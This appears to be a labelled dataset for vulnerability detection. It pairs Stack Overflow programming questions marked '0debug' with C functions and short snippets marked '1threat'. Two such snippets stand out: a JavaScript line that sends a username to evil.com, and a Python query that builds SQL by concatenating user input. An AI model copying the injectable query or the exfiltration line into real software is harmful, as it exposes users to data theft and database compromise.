problem
stringlengths
26
131k
labels
class label
2 classes
How can I use both /g and /i in regex to make my search repeat through the entire search as well as ignore case sensitivity in javaScript? : <p>I want to remove white space, comma, and digits from my string as well as ignore case sensitivity. Below is my regex to this I am not able to use /i(to remove case sensitivity)...
0debug
Python <' not supported between instances of 'builtin_function_or_method' and 'int : can anyone help with the above issue? albeit my code is not finished trying to run a few tests and cant get past this step: # if it was to cold in the office remove number from list. if input < 16: total=...
0debug
How to send data between fragments in different activities : <p>I've been working in infoSec for almost a decade and now I'm trying to pivot into Android development. I'm completely new in the field of Android. This question has probably been answered before, but I didn't find anyone using pictures. So here we go:</p> ...
0debug
Detect if an email domain is a disposable one : <p>Well I am using disposable emails like mailinator , guerilla , 10 minute mail and the like . But this type of email is not really reliable when it comes to production. I am thinking of blacklisting them all using reg ex, but that would be overkill I Guess... Is there a...
0debug
Vim command: how to select a word under cursor in normal mode : <p>I'm looking for a Vim command to select a word under cursor in normal mode, like double-clicking by mouse. Does it exist like this?</p>
0debug
Docker-compose with django could not translate host name "db" to address: Name or service not known : <p>I have currently a system built with docker-compose, it creates a Django application.</p> <p>Up until now I've used a database inside a container (postgresql) in my testing build. Now I've changed the database from...
0debug
RecyclerView "cannot resolve symbol" errors - Android Studio : <p>I am getting cannot resolve symbol errors on all my RecyclerView's. What is going on? Because I have an error with RecyclerView, I also have errors on LayoutManager. My last four Override statements are in the wrong place and I don't know where they g...
0debug
static void *circular_buffer_task_tx( void *_URLContext) { URLContext *h = _URLContext; UDPContext *s = h->priv_data; int old_cancelstate; pthread_setcancelstate(PTHREAD_CANCEL_DISABLE, &old_cancelstate); for(;;) { int len; uint8_t tmp[4]; pthread_setcancelstat...
1threat
Object of ‘NoneType’ has no len() - error : <pre><code>z=[] while len(z)&lt;8: z=z.append(1) </code></pre> <p>This programmes says error in the line where the while loop is. The error is mentioned in the title. What should I do ?</p>
0debug
React-native: trigger onPress event (Picker component) : <p>For some reason, the same <a href="https://facebook.github.io/react-native/docs/picker.html" rel="noreferrer">Picker</a> component behaves as list of options on iOS and as button on Android. I have no idea, who decided, that this is good idea to put it like th...
0debug
static void vmdk_close(BlockDriverState *bs) { BDRVVmdkState *s = bs->opaque; qemu_free(s->l1_table); qemu_free(s->l2_cache); bdrv_delete(s->hd); vmdk_parent_close(s->hd); }
1threat
static int check(AVIOContext *pb, int64_t pos, int64_t *out_pos) { MPADecodeHeader mh = { 0 }; int i; uint32_t header; int64_t off = 0; for (i = 0; i < SEEK_PACKETS; i++) { off = avio_seek(pb, pos + mh.frame_size, SEEK_SET); if (off < 0) break; hea...
1threat
static int read_packet(AVFormatContext *s1, AVPacket *pkt) { VideoDemuxData *s = s1->priv_data; char filename[1024]; int i; int size[3]={0}, ret[3]={0}; AVIOContext *f[3]; AVCodecContext *codec= s1->streams[0]->codec; if (!s->is_pipe) { if (s->loop && s->img_numb...
1threat
static int alloc_buffer(InputStream *ist, FrameBuffer **pbuf) { AVCodecContext *s = ist->st->codec; FrameBuffer *buf = av_mallocz(sizeof(*buf)); int ret; const int pixel_size = av_pix_fmt_descriptors[s->pix_fmt].comp[0].step_minus1+1; int h_chroma_shift, v_chroma_shift; int edge = 32; ...
1threat
int vp78_decode_mb_row_sliced(AVCodecContext *avctx, void *tdata, int jobnr, int threadnr, int is_vp7) { VP8Context *s = avctx->priv_data; VP8ThreadData *td = &s->thread_data[jobnr]; VP8ThreadData *next_td = NULL, *prev_td = NULL; VP8Frame *curframe = s->curframe; ...
1threat
Please help me to get this PHP code work correctly : <?php include 'header.php'; error_reporting(E_ERROR | E_WARNING | E_PARSE | E_NOTICE); $con = mysql_connect("localhost","root",""); $db_selected = mysql_select_db("layout",$con); $name = $_POST['name']; $password = $_POST['password']; ...
0debug
QPCIBus *qpci_init_spapr(QGuestAllocator *alloc) { QPCIBusSPAPR *ret; ret = g_malloc(sizeof(*ret)); ret->alloc = alloc; ret->bus.io_readb = qpci_spapr_io_readb; ret->bus.io_readw = qpci_spapr_io_readw; ret->bus.io_readl = qpci_spapr_io_readl; ret->bus.io_writeb = qpci_spapr_i...
1threat
Can "active processes" be larger than "max_children" for PHP-FPM : <p>Having set the pool to static with max_children to 5 I would expect the metric "active processes" to be 5 or below. Sending 10 concurrent requests will have "active processes" report more than 5 (e.g. 10, 12, 25, ...).</p> <p>Is this valid behaviour...
0debug
int kvm_irqchip_update_msi_route(KVMState *s, int virq, MSIMessage msg) { struct kvm_irq_routing_entry kroute; if (!kvm_irqchip_in_kernel()) { return -ENOSYS; } kroute.gsi = virq; kroute.type = KVM_IRQ_ROUTING_MSI; kroute.flags = 0; kroute.u.msi.address_lo = (uint32_t)ms...
1threat
cannot load png files with webpack, unexpected character : <p>Im trying to reconfigure my webpack, and now i cannot load the css files. i keep my styles in src > styles > main.css</p> <p>I am getting errors such as </p> <pre><code>ERROR in ./src/images/NavIcon03.png Module build failed: SyntaxError: /Users/myname/wor...
0debug
Cannot find setter for field - using Kotlin with Room database : <p>I'm integrating with the Room persistence library. I have a data class in Kotlin like:</p> <pre><code>@Entity(tableName = "story") data class Story ( @PrimaryKey val id: Long, val by: String, val descendants: Int, val s...
0debug
i want to craete a table with fixed column,but each column show a data from data base, Jsp : I want fixed column e.g. 3 , but each column show a data from data base, for example i have 10 data(row) in my database like data1 data2 etc. now i want to show the data like iam using Jsp & html.`enter code here <t...
0debug
python log formatter that shows all kwargs in extra : <p>I hope to add the following log points to my application and display the full contents of <code>extra</code> on console, e.g., </p> <pre><code>logger.info('Status', extra={'foo':data}) logger.info('Status', extra={'bar':data}) logger.info('Status', extra={'foo':...
0debug
static void curl_readv_bh_cb(void *p) { CURLState *state; CURLAIOCB *acb = p; BDRVCURLState *s = acb->common.bs->opaque; qemu_bh_delete(acb->bh); acb->bh = NULL; size_t start = acb->sector_num * SECTOR_SIZE; size_t end; switch (curl_find_buf(s, start, acb->nb...
1threat
PHP substr return wrong value : Here is the example code : <?php $number = 0130; $a1 = substr($number,0,1); $a2 = substr($number,1,1); $a3 = substr($number,2,1); $a4 = substr($number,3,1); $a = [$a1,$a2,$a3,$a4]; echo $a1; i got result is 8...
0debug
Get the length of a number by only using modulus : <p>Can someone help me figure out an exersice the IT teacher gave me? I have to make a program, that calculates how many digits are in a number. For example:</p> <p>I input a number 100, and the program gives me an output of 3. If I input 99, the program gives me 2.</...
0debug
Making a checkers board in python : <p>I am trying to make a 2D array that is 8x8 for a checkers game in python. How would I go about doing this? Here is my current code:</p> <pre><code>class Board(): board = [[]] def __init__(self,width,height): self.width = width self.height = height ...
0debug
void ff_aac_apply_tns(SingleChannelElement *sce) { const int mmm = FFMIN(sce->ics.tns_max_bands, sce->ics.max_sfb); float *coef = sce->pcoeffs; TemporalNoiseShaping *tns = &sce->tns; int w, filt, m, i; int bottom, top, order, start, end, size, inc; float *lpc, tmp[TNS_MAX_ORDER+1]; ...
1threat
static int decode_frame(FLACContext *s) { int i, ret; GetBitContext *gb = &s->gb; FLACFrameInfo fi; if ((ret = ff_flac_decode_frame_header(s->avctx, gb, &fi, 0)) < 0) { av_log(s->avctx, AV_LOG_ERROR, "invalid frame header\n"); return ret; } if (s->channels && fi.chan...
1threat
void *virtqueue_pop(VirtQueue *vq, size_t sz) { unsigned int i, head, max; hwaddr desc_pa = vq->vring.desc; VirtIODevice *vdev = vq->vdev; VirtQueueElement *elem; unsigned out_num, in_num; hwaddr addr[VIRTQUEUE_MAX_SIZE]; struct iovec iov[VIRTQUEUE_MAX_SIZE]; VRingDesc desc; if (virt...
1threat
static bool enforce_config_section(void) { MachineState *machine = MACHINE(qdev_get_machine()); return machine->enforce_config_section; }
1threat
regex expression for 11 digit - separated number c# winforms : I am creating a text parser in c# windows form and I want to identify 11 digit phone numbers starting from 0 with a **-** separator, eg 0341-2239548 or 021-34223311 should be converted to 03412239548 and 02134223311 respectively using Regex.Match. I am unab...
0debug
How to sort list of objects? : <p>I have a list of objects, each object has a method that returns distance from player to said object like that</p> <pre><code>object.distance(player) </code></pre> <p>now i need to sort that list from loqwest distance to furthest</p>
0debug
document.location = 'http://evil.com?username=' + user_input;
1threat
Using Javascript, how I compare to values to see if they are divisible by each other? : I am trying to write a event handler here so that when users enter a number in the first text box and the second text box, and click "Compare Values" button, a function executes and it checks if either of the number is ZERO, it p...
0debug
static void sd_blk_read(SDState *sd, uint64_t addr, uint32_t len) { uint64_t end = addr + len; DPRINTF("sd_blk_read: addr = 0x%08llx, len = %d\n", (unsigned long long) addr, len); if (!sd->bdrv || bdrv_read(sd->bdrv, addr >> 9, sd->buf, 1) < 0) { fprintf(stderr, "sd_blk_read: rea...
1threat
How to Use SceneKit to get this effect , i using the NSConstraint to develop but no success : Need some help or minds , how to Use SceneKit to get this effect , i using the NSConstraint to develop but no success..[enter image description here][1] [1]: https://i.stack.imgur.com/MenMF.gif
0debug
How to see videos from a network stream(http)? : <p>I was wondering: how does youtube or any other website containing videos, send such data to clients? When using the web browser, and asking for a webpage, what happens is that the browser sends an HTTP GET request to the server, which returns the html page; but how do...
0debug
static uint32_t ehci_mem_readb(void *ptr, target_phys_addr_t addr) { EHCIState *s = ptr; uint32_t val; val = s->mmio[addr]; return val; }
1threat
.Net Core warning No XML encryptor configured : <p>When I start my service (API on .Net Core 2.2 in Docker container) I've got a warning:</p> <blockquote> <p>No XML encryptor configured. Key {daa53741-8295-4c9b-ae9c-e69b003f16fa} may be persisted to storage in unencrypted form.</p> </blockquote> <p>I didn't con...
0debug
Compare two files and append the difference at the bottom : I would like to first compare two files (`POSCAR.init` and `POSCAR.final`) in the link https://www.dropbox.com/sh/w9z7psuzq3qo9jm/AAAhySzuiYv08LPWpfFTaxtoa?dl=0 and then append the differences at the end of the respective files. The final files should look li...
0debug
Add column to DataFrame in sparkR : <p>I would like to add a column filled with a character <code>N</code> in a DataFrame in SparkR. I would do it like that with non-SparkR code :</p> <pre><code>df$new_column &lt;- "N" </code></pre> <p>But with SparkR, I get the following error : </p> <pre><code>Error: class(value) ...
0debug
Why is computed value not updated after vuex store update? : <p>I got a <code>printerList</code> computed property that should be re-evaluated after <code>getPrinters()</code> resolve, but it look like it's not.</p> <p><a href="https://github.com/Coaxis-ASP/opt/tree/f1267a6a4f1202a3db710b1ee0639996730186c1/frontend/sr...
0debug
C# replace integer if integer has other numbers from both ends : I want to replace an integer if it is a part of another integer from both ends. Say for example an integer +35343+3566. I want to replace +35 with 0 only if it is surrounded with numbers from both sides. So desired outcome would be +35343066. Norma...
0debug
Exit Kodi by pressing HOME button, is this safe? : <p>Using Himedia TV box Q5 Pro with Android 5.1 and Kodi 17.1.</p> <p>Instead of shutting down Kodi by using the screen exit button (which will take a few seconds), find it easier if I used the HOME button on the remote.</p> <p>Will this HOME button exit route result...
0debug
up to how much memory limit can be set POST method in PHP? Maximum how much? : <p>Normally 8mb is default memory limit of POST method..how much we can set? up to GB is possible or less than that? can we send large video of 4 gig through POST method? </p>
0debug
Passing array to function of specific type : <p>I need help with this code. I cant make it work so.. something is unclear for me yet.</p> <pre><code>using System; using System.Collections.Generic; using System.IO; using System.Linq; class Solution { static int[] foo(int[] array) { int[] xx = new int[a...
0debug
static void gen_branch(DisasContext *ctx, int insn_bytes) { if (ctx->hflags & MIPS_HFLAG_BMASK) { int proc_hflags = ctx->hflags & MIPS_HFLAG_BMASK; ctx->hflags &= ~MIPS_HFLAG_BMASK; ctx->bstate = BS_BRANCH; save_cpu_state(ctx, 0); switch (proc_hflag...
1threat
how to get records from tables where time is grater than mytime : this is my database image i want to all records where clockin_time is > 10:00 AM can you help me please ? [this is my database image i want to all records where clockin_time is > 10:00 AM can you help me please ?][1] [1]: https://i.stack.imgu...
0debug
Flutter - SimpleDialog in FloatingActionButton : <p>I'm trying to create a <code>SimpleDialog</code> after a tap on the <code>FloatingActionButton</code>, however when pressing that button nothing happens.</p> <p>What was I doing wrong?</p> <pre><code>import "package:flutter/material.dart"; void main() { runApp(ne...
0debug
I don't think I have loaded Java SE 12 properly : I don't believe I have loaded Java properly--chiefly because I can't see an exe suffix after the javac icon in program files (check out screenshot). Furthermore I have carefully copied (in front and with semi-colon) and pasted the pathway for javac into the system va...
0debug
A Haskell function that receive a List with different types and returns only a Integer List : I have a function like this : > '[(String, [Int], Int)]' I desire a function that returns a list that just returns a list of '[Int]' Input example : > [("R1",[6,10,14],6),("R2",[8,10,14],8),("R3",[11,15,24],11)]...
0debug
Find a string in HTML and print value : I'm posting to a webpage and in my respose I get a big chunk of HTML that will change next request. With groovy I'd like to find this string: var WPQ1FormCtx = {"ListData":{"owshiddenversion":23, The value "23" will change next time I post to the webpage, and I need that ...
0debug
Create Buttons from image in HTML : <p>I've got this interesting challenge here that I don't know how to solve. I'm trying to create HTML buttons from an Image. This image here is the example I am using. How can I split up all the trapezoids into separate buttons that register separately when tapped on the correspondin...
0debug
static void read_SCP_info(SCLPDevice *sclp, SCCB *sccb) { ReadInfo *read_info = (ReadInfo *) sccb; MachineState *machine = MACHINE(qdev_get_machine()); sclpMemoryHotplugDev *mhd = get_sclp_memory_hotplug_dev(); CPUState *cpu; int cpu_count = 0; int rnsize, rnmax; int slots = MIN(mach...
1threat
javascript - call function before declaration : I have this function inside test.js: function testing(){ document.write("<p>Tes1</p>"); } And then a basic html page. Is possible to call the function before being declared and add to the page the: > <p>Test1</p> Because if I include the test.j...
0debug
Return a value from a method : <p>I have this method to get the user location and I want to return <code>myLocation</code> variable : </p> <pre><code>mFusedLocationClient.getLastLocation().addOnSuccessListener(new OnSuccessListener&lt;Location&gt;() { @Override public void onSuccess(Location location) ...
0debug
static void mpegts_write_pes(AVFormatContext *s, AVStream *st, const uint8_t *payload, int payload_size, int64_t pts, int64_t dts, int key) { MpegTSWriteStream *ts_st = st->priv_data; MpegTSWrite *ts = s->priv_data; uint8_t buf[TS_PACKET_SIZE];...
1threat
Apache Batik No WriteAdapter is available? : <p>I'm writing code to convert SVG's to PNG's:</p> <pre><code>package com.example; import java.io.*; import java.nio.file.Paths; import org.apache.batik.transcoder.image.PNGTranscoder; import org.apache.batik.transcoder.SVGAbstractTranscoder; import org.apache.batik.transc...
0debug
How do I remove some String from file - but not all of them JAVA : Here's the problem. I have some text in my .txt file, it look exactly like this: Bee-bee is the voice that Sheep giv- e. Mou-Mou is the voice that Cow gi- ve. Miau-Miau is the voice that Ca- t gives. Program that I need reading ...
0debug
How to monitor disk usage of kubernetes persistent volumes? : <p>I have <code>container_fs_usage_bytes</code> with prometheus to monitor container root fs, but it seems that there is no metrics for other volumes in cAdvisor.</p>
0debug
static int ahci_start_transfer(IDEDMA *dma) { AHCIDevice *ad = DO_UPCAST(AHCIDevice, dma, dma); IDEState *s = &ad->port.ifs[0]; uint32_t size = (uint32_t)(s->data_end - s->data_ptr); uint32_t opts = le32_to_cpu(ad->cur_cmd->opts); int is_write = opts & AHCI_CMD_WRITE; int is_atapi =...
1threat
jQuery loop through checkboxes : I have these checkboxes: <input type="checkbox" class="ids" name="ids[]" value="2"> <input type="checkbox" class="ids" name="ids[]" value="3"> <input type="checkbox" class="ids" name="ids[]" value="4"> <input type="checkbox" class="ids" name="ids[]" value="5"> ...
0debug
static target_long monitor_get_ccr (const struct MonitorDef *md, int val) { CPUArchState *env = mon_get_cpu(); unsigned int u; int i; u = 0; for (i = 0; i < 8; i++) u |= env->crf[i] << (32 - (4 * i)); return u; }
1threat
Custom packet to send over a socket : <p>Any recommendations on how to encode data to send over a socket?</p> <p>Example</p> <pre class="lang-cpp prettyprint-override"><code>struct { int id, std::string name, std::string address } </code></pre> <p>I have this currently:</p> <pre class="lang-cpp prettypr...
0debug
Kubernetes configMap - only one file : <p>I have a <code>configMap</code> created from file:</p> <pre><code>kubectl create configmap ssportal-apache-conf --from-file=ssportal.conf=ssportal.conf </code></pre> <p>and then I need to mount this file into the deployment:</p> <pre><code>apiVersion: extensions/v1beta1 kind...
0debug
Allow for zero-value in short-circuit evaluation : <p>Short-circuit evaluation determines if the first value is falsey. If so, return the second value, as follows:</p> <pre><code>var x = y || z; // if y is falsey return z </code></pre> <p>Is there a way to disregard zero-values as being falsey when using short-circui...
0debug
static void test_acpi_piix4_tcg_cphp(void) { test_data data; memset(&data, 0, sizeof(data)); data.machine = MACHINE_PC; data.variant = ".cphp"; test_acpi_one("-smp 2,cores=3,sockets=2,maxcpus=6", &data); free_test_data(&data); }
1threat
static int decode_block(MJpegDecodeContext *s, int16_t *block, int component, int dc_index, int ac_index, int16_t *quant_matrix) { int code, i, j, level, val; val = mjpeg_decode_dc(s, dc_index); if (val == 0xfffff) { av_log(s->avctx, AV_LOG_ERROR, "error dc\n");...
1threat
Export GIT LOG into an Excel file : <p>I have looked into the forum, but with no luck.</p> <p>Requirement :</p> <p>Run GIT LOG (format) command and write the results into an Excel File . </p> <p>I have seen examples wherein with GIT Log command, data can be written into a CSV, but formatting is double the effort.</p...
0debug
int avformat_seek_file(AVFormatContext *s, int stream_index, int64_t min_ts, int64_t ts, int64_t max_ts, int flags) { if(min_ts > ts || max_ts < ts) return -1; ff_read_frame_flush(s); if (s->iformat->read_seek2) return s->iformat->read_seek2(s, stream_index, min_ts, ts, max_ts, fla...
1threat
Django, how to pass a variables from the Django admin to a template? : I want to be able to set a variable in the django admin panel, wich will be passed to the template as template variable, similar to placeholder in cms. (For exapmle when I save this variable in admin panel it will be rendered to the template)
0debug
why don't we always use the latest .net framework? : <p>I am very new to DOT.net frameworks. Shouldn't we always update to the latest release? List Entity framework or identity framework .. all those frameworks ... why do we keep them around? just use the latest ones. </p> <p>In fact, I am just starting to develop an...
0debug
almost increasing sequence algorithm : I have had an algorithm problem below: "Given a sequence of integers as an array, determine whether it is possible to obtain a strictly increasing sequence by removing no more than one element from the array. Example For sequence = [1, 3, 2, 1], the output should be alm...
0debug
Image sizes for android and iOS in react-native : <p>While making iOS Apps, we generally used to supply @x,@2x,@3x images. And based on my knowledge in case of android, there was some approx six different sizes </p> <p>I have started working on react-native and came across the image issue.</p> <p>My Question are: Do ...
0debug
I don't know why it happens, It seems angular can't understand what I'm writing : This is my HttpClient code what I wrote: import { Component, OnInit } from '@angular/core'; import { HttpClient } from '@angular/common/http'; import { CreeperUser } from '../Models/CreeperUser'; import { Observable ...
0debug
db.execute('SELECT * FROM employees WHERE id = ' + user_input)
1threat
static void handle_hmp_command(Monitor *mon, const char *cmdline) { QDict *qdict; const mon_cmd_t *cmd; qdict = qdict_new(); cmd = monitor_parse_command(mon, cmdline, 0, mon->cmd_table, qdict); if (cmd) { cmd->mhandler.cmd(mon, qdict); } QDECREF(qdict); }
1threat
the program sometimes outputs blank from the text file , how do i stop this? : <p>i have this code that is a future program, it is a very simple program , it has two buttons a reset and a button that actually gets your future. It then has a label for your future to be outputted to. i import the text from a text file, h...
0debug
JSON error (Swift 4) Cannot assign value of type 'String?' to type 'String?.Type' : Can't solve the error below & attached. Code snippet: ------------------------------------------------------------------------ `func setInfo(json: JSON) { self.name = json["name"].string self....
0debug
2D array Swift goes out of bounds when appending arrays : <p>I want to append elements from one 2D array to the another 2D array, but I get fatal error index out of bound. </p> <p>the code is as follows: </p> <pre><code> var array = [["a", "b", "c"], ["d","e","f"],["g","h","i"]] var array2 = [[String]]() var x = a...
0debug
app crashing by pressing buttons in activity bar : Im new in android studio, the problem that i have is that when when i start the app and press a button in the activity bar it crashes these is my main activity ` package com.example.tirir_000.iavq; import android.net.Uri; import android.os.Bun...
0debug
Unhashing an email address string with Java or Groovy : <p>I have a report which has email addresses that have been hashed. So for example I see...</p> <pre><code>Email Hash 8b405f28e92ea2c7bd4f05197350c876 </code></pre> <p>Is there any way to get the original email address from this? Preferably with Java or Groovy?<...
0debug
void cpu_reset(CPUM68KState *env) { memset(env, 0, offsetof(CPUM68KState, breakpoints)); #if !defined (CONFIG_USER_ONLY) env->sr = 0x2700; #endif m68k_switch_sp(env); env->cc_op = CC_OP_FLAGS; env->pc = 0; tlb_flush(env, 1);
1threat
void bdrv_init(void) { module_call_init(MODULE_INIT_BLOCK); }
1threat
Else statement does not get executed in Javascript : <p>Hello I've been trying to write a function to validate a string value. My code is below</p> <pre><code>function verifyPassword(){ passW = prompt ("Password:"); if (passW = 'Pass123'){ document.write ('Your password is correct'); } else { document.write ('Yo...
0debug
s3 urls - get bucket name and path : <p>I have a variable which has the aws s3 url </p> <pre><code>s3://bucket_name/folder1/folder2/file1.json </code></pre> <p>I want to get the bucket_name in a variables and rest i.e /folder1/folder2/file1.json in another variable. I tried the regular expressions and could get the b...
0debug
def sum_even_and_even_index(arr,n): i = 0 sum = 0 for i in range(0,n,2): if (arr[i] % 2 == 0) : sum += arr[i] return sum
0debug
void acpi_setup(PcGuestInfo *guest_info) { AcpiBuildTables tables; AcpiBuildState *build_state; if (!guest_info->fw_cfg) { ACPI_BUILD_DPRINTF("No fw cfg. Bailing out.\n"); return; } if (!guest_info->has_acpi_build) { ACPI_BUILD_DPRINTF("ACPI build disabled. Baili...
1threat
static void spapr_phb_finish_realize(sPAPRPHBState *sphb, Error **errp) { sphb->dma_window_start = 0; sphb->dma_window_size = 0x40000000; sphb->tcet = spapr_tce_new_table(DEVICE(sphb), sphb->dma_liobn, sphb->dma_window_size); if (!sphb->tcet) { error_s...
1threat
what is the significance of these four lines show below : I found in this complete [code][1] on codeforces . I am not that expert please guide me the use of these lines of code shown below The question just reads an input string of integers of maximum length 1000 ios_base::sync_with_stdio(0), cin.tie(0), cou...
0debug
static void xen_pt_pci_write_config(PCIDevice *d, uint32_t addr, uint32_t val, int len) { XenPCIPassthroughState *s = DO_UPCAST(XenPCIPassthroughState, dev, d); int index = 0; XenPTRegGroup *reg_grp_entry = NULL; int rc = 0; uint32_t read_val = 0, wb_mask; ...
1threat
void ff_write_pass1_stats(MpegEncContext *s) { snprintf(s->avctx->stats_out, 256, "in:%d out:%d type:%d q:%d itex:%d ptex:%d mv:%d misc:%d " "fcode:%d bcode:%d mc-var:%d var:%d icount:%d skipcount:%d hbits:%d;\n", s->current_picture_ptr->f.display_picture_number, ...
1threat
Pascal's Triangle - Finding Nth Line : Having issues with my code. It has to ask the user to enter a nth line, and print the line. If you guys could help me I'd appreciate it. The error is in line 62, when I remove the arrow it doesn't give a suggestion Using this: [![enter image description here][1]][1] ...
0debug
Why does my program skip over the replace method? : <p>Whenever I run the java code below it compiles but the line that include the replace method seems to be skipped, such so that the inputted string and the output (newMessage) are the same. Why? variable C and variable D are chars...</p> <p>import java.util.Scanner;...
0debug
void h263_encode_picture_header(MpegEncContext * s, int picture_number) { int format; align_put_bits(&s->pb); s->ptr_lastgob = pbBufPtr(&s->pb); s->gob_number = 0; put_bits(&s->pb, 22, 0x20); put_bits(&s->pb, 8, (((int64_t)s->picture_number * 30 * s->avctx->frame_rate_base) /...
1threat
void gic_update(GICState *s) { int best_irq; int best_prio; int irq; int level; int cpu; int cm; for (cpu = 0; cpu < NUM_CPU(s); cpu++) { cm = 1 << cpu; s->current_pending[cpu] = 1023; if (!s->enabled || !s->cpu_enabled[cpu]) { qemu_irq_lower...
1threat
Excel vba Internet Explorer automation problem : Im trying to search on Some site by writing What I want to search on A cell and That It will search For me. My only problem is That I cant find the ID of the search box For getelementById. When I press F12 and go to this search box I Can get the name, tile, align, clas...
0debug
Remove the contents of block based on condition : <p>Below sed removes all occurrences of blocks between {content-start} and {content-end}, but want to remove only block contains the sting 'labtest'.</p> <pre><code>sed -ie '/{content-start.*}/,/{content-end}/d' test.txt </code></pre> <p>test.txt</p> <pre><code>{cont...
0debug
C# WPF - RegisterHotKey prevents from Textbox to receive input : Hello there and thank you for your time, I've been recently fiddling around with WPF, trying to learn as I go and decided to do a small project to help me learn faster. I have run into this problem, which is not quite exactly a problem, more of a lo...
0debug